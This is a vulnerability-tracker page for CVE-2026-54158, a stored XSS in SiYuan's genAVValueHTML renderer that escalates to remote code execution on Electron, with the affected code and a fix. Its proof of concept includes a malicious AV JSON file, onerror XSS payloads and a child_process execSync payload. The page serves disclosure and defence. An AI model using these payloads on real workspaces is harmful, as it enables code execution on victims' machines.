Kestrel
대시보드로 돌아가기
CVE-2026-54158CRITICAL· 9.9MITRENVDGHSA대응게시일: 2026. 06. 24.수정일: 2026. 07. 10.

SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()

XSS

위협 신호 · CVSS · EPSS · KEV

시급 검토· 이론 심각도 Critical
CVSS
9.9critical

이론적 심각도 점수

EPSS
0.3%상위 78.9%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

완전 장악외부 노출· KEV 미등재 · 자동화 어려움 · 완전 장악 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위변경
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.19.9CRITICAL
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

상세 설명

Summary

The attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like </textarea><img src=x onerror="..."> or "><img src=x onerror="..."> breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require('child_process'). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.

The kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261.

Companion advisory: GHSA-mvjr-vv3c-w4qv. Same workspace-sync to renderer-sink to Electron-RCE pattern in the CSS-snippet renderer, different sink file. Worth auditing for the same pattern in other renderers that pull from synced workspace data.

Details

Affected:

  • HEAD 96dfe0b (v3.6.5, 2026-04-21)
  • Renderer sink: app/src/protyle/render/av/blockAttr.ts:68, genAVValueHTML(). The text, url, phone, and mAsset branches interpolate cell content raw.
  • Callsites piping genAVValueHTML into innerHTML: select.ts:124,229,346, cell.ts:791,913,1198, col.ts:455,656,1256, filter.ts:199,471,609,702, groups.ts:56,289,328,378, and blockAttr.ts:212.
  • Source: cell values returned by /api/av/getAttributeView. Backing store: data/storage/av/<avID>.json.
  • Write path: kernel/model/attribute_view.go, updateAttributeViewValue and (*Transaction).doUpdateAttrViewCell. No call to html.EscapeAttrVal, html.EscapeString, or util.EscapeHTML anywhere in the file.
  • Electron config: nodeIntegration:true, contextIsolation:false, webSecurity:false on every BrowserWindow in app/electron/main.js:307,408-411,1107-1110,1150-1153,1322.
The sink

app/src/protyle/render/av/blockAttr.ts:68, with the unsafe branches highlighted:

text
1export const genAVValueHTML = (value: IAVCellValue) => {
2 let html = "";
3 switch (value.type) {
4 case "block":
5 // escaped via escapeAttr — safe
6 html = `<input ... value="${escapeAttr(value.block.content)}" ...>`;
7 break;
8 case "text":
9 // value.text.content goes raw into a <textarea>
10 html = `<textarea ... rows="${(value.text?.content || "").split("\n").length}" ...>${value.text?.content || ""}</textarea>`;
11 break;
12 case "url":
13 // value.url.content goes raw into value="..." and href="..."
14 html = `<input value="${value.url.content}" ...>
15 <a ${value.url.content ? `href="${value.url.content}"` : ""} ...>`;
16 break;
17 case "phone":
18 // same pattern as url
19 html = `<input value="${value.phone.content}" ...>
20 <a ${value.phone.content ? `href="tel:${value.phone.content}"` : ""} ...>`;
21 break;
22 case "mAsset":
23 value.mAsset?.forEach(item => {
24 if (item.type === "image") {
25 // item.content raw inside aria-label
26 html += `<img ... aria-label="${item.content}" src="${getCompressURL(item.content)}">`;
27 } else {
28 // attributes escaped, but ${item.name || item.content} text-node is raw
29 html += `<span ... aria-label="${escapeAttr(item.content)}" data-name="${escapeAttr(item.name)}" data-url="${escapeAttr(item.content)}">${item.name || item.content}</span>`;
30 }
31 });
32 break;
33 // other cases use escapeHtml / escapeAttr correctly
34 }
35 return html;
36};

escapeHtml and escapeAttr already exist and are used in the block, select, and mSelect cases. They just aren't applied in the four branches above.

Callers assign the result to innerHTML. Example, app/src/protyle/render/av/select.ts:124:

text
1if (item.classList.contains("custom-attr__avvalue")) {
2 item.innerHTML = genAVValueHTML(cellValue);
3}
The write path

A grep for any HTML-escape call in kernel/model/attribute_view.go returns nothing:

bash
1grep -n 'html.Escape\|EscapeHTML\|EscapeString' kernel/model/attribute_view.go
2# (no output)

For comparison, the block-IAL write path at kernel/model/blockial.go:261 applies html.EscapeAttrVal(value). The AV cell write path is missing the equivalent.

Storage and sync

AV files live at data/storage/av/<avID>.json and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers.

Suggested fix

The renderer-side fix is the more important one. escapeHtml and escapeAttr already exist in blockAttr.ts and already protect the block, select, and mSelect branches. Extend them to the rest of genAVValueHTML:

text
1case "text":
2 html = `<textarea ...>${escapeHtml(value.text?.content || "")}</textarea>`;
3 break;
4case "url":
5 html = `<input value="${escapeAttr(value.url.content)}" ...>
6 <a ${value.url.content ? `href="${escapeAttr(value.url.content)}"` : ""} ...>`;
7 break;
8case "phone":
9 html = `<input value="${escapeAttr(value.phone.content)}" ...>
10 <a ${value.phone.content ? `href="tel:${escapeAttr(value.phone.content)}"` : ""} ...>`;
11 break;
12case "mAsset":
13 // escape item.name and item.content in the text-node positions, not just inside attributes

The mAsset image branch also interpolates item.content into the src attribute via getCompressURL. Worth rejecting javascript: and data: schemes for asset URLs while you're in there.

Backend side, defense in depth: in kernel/model/attribute_view.go:updateAttributeViewValue, call html.EscapeAttrVal(content) on the string-content cell types before persisting. This mirrors the existing protection in kernel/model/blockial.go:261. The renderer fix matters more because the backend fix doesn't retroactively neutralize payloads already sitting in synced workspaces.

PoC

Stand up SiYuan and drop a malicious AV file at workspace/data/storage/av/poc.json:

text
1docker run -d --name siyuan-poc \
2 -v ./workspace:/siyuan/workspace \
3 -p 16806:6806 \
4 b3log/siyuan:latest \
5 --workspace=/siyuan/workspace --accessAuthCode=hunter2

Minimum viable AV JSON:

xss
1{
2 "spec": 2,
3 "id": "20260519999999-poctest",
4 "name": "PocAV",
5 "keyValues": [
6 {
7 "key": {"id": "...keyblok", "name": "Block", "type": "block"},
8 "values": [{
9 "id": "...row1blk", "keyID": "...keyblok", "blockID": "...row1blk",
10 "type": "block", "isDetached": true,
11 "block": {"id": "...row1blk", "content": "Row 1"}
12 }]
13 },
14 {
15 "key": {"id": "...keytext", "name": "TextField", "type": "text"},
16 "values": [{
17 "id": "...celltxt", "keyID": "...keytext", "blockID": "...row1blk",
18 "type": "text",
19 "text": {"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"}
20 }]
21 },
22 {
23 "key": {"id": "...keyurl0", "name": "UrlField", "type": "url"},
24 "values": [{
25 "id": "...cellurl", "keyID": "...keyurl0", "blockID": "...row1blk",
26 "type": "url",
27 "url": {"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"}
28 }]
29 }
30 ]
31}

In a real attack the file gets there via sync, not by hand.

Confirm the API returns the cell content raw:

bash
1TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)
2
3curl -s -X POST http://localhost:16806/api/av/getAttributeView \
4 -H "Authorization: Token $TOKEN" \
5 -d '{"id":"20260519999999-poctest"}' \
6 | python3 -m json.tool | grep -E '"content":'

Output from my run on 2026-05-19:

xss
1"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"
2"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"

</textarea> and "> come back literal, no escape.

In the Siyuan renderer's DevTools:

text
1const res = await fetch('/api/av/getAttributeView', {
2 method: 'POST',
3 headers: {'Content-Type': 'application/json'},
4 body: JSON.stringify({id: '20260519999999-poctest'})
5});
6const json = await res.json();
7
8let textValue = null, urlValue = null;
9for (const kv of json.data.av.keyValues) {
10 for (const v of kv.values || []) {
11 if (v.type === 'text' && v.text) textValue = v;
12 if (v.type === 'url' && v.url) urlValue = v;
13 }
14}
15
16// Replay the actual genAVValueHTML branches verbatim.
17const textHTML = `<textarea rows="${(textValue.text?.content||'').split('\n').length}">${textValue.text?.content || ''}</textarea>`;
18const urlHTML = `<input value="${urlValue.url.content}">`;
19
20const div = document.createElement('div');
21div.innerHTML = textHTML + urlHTML;
22
23await new Promise(r => setTimeout(r, 250));
24
25console.log({
26 textMarkerFired: window.__siyuan_av_xss === 'FIRED',
27 urlMarkerFired: window.__siyuan_av_url_xss === 'FIRED',
28 imgsInDiv: div.querySelectorAll('img').length,
29 title: document.title
30});

Output from my run:

text
1{
2 "textMarkerFired": true,
3 "urlMarkerFired": true,
4 "imgsInDiv": 3,
5 "title": "AV_TEXT_XSS_OK"
6}

</textarea> and "> both broke out, the smuggled <img> elements ran their onerror handlers, the marker variables got set, document.title got rewritten. Same code path the real panel takes when the user opens the block attributes on this row.

To turn it into RCE on Electron, swap the marker payload for:

xss
1<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">

require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.

Impact

Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.

The payload fires the next time the victim opens the block-attribute panel on a row containing the malicious cell. The panel opens on a cell click or via the gutter icon, which is normal database usage. No special interaction required.

Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call /api/av/updateAttrViewCell. Once the malicious AV cell is in the workspace, every peer that syncs and opens a panel touching that row runs the payload.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.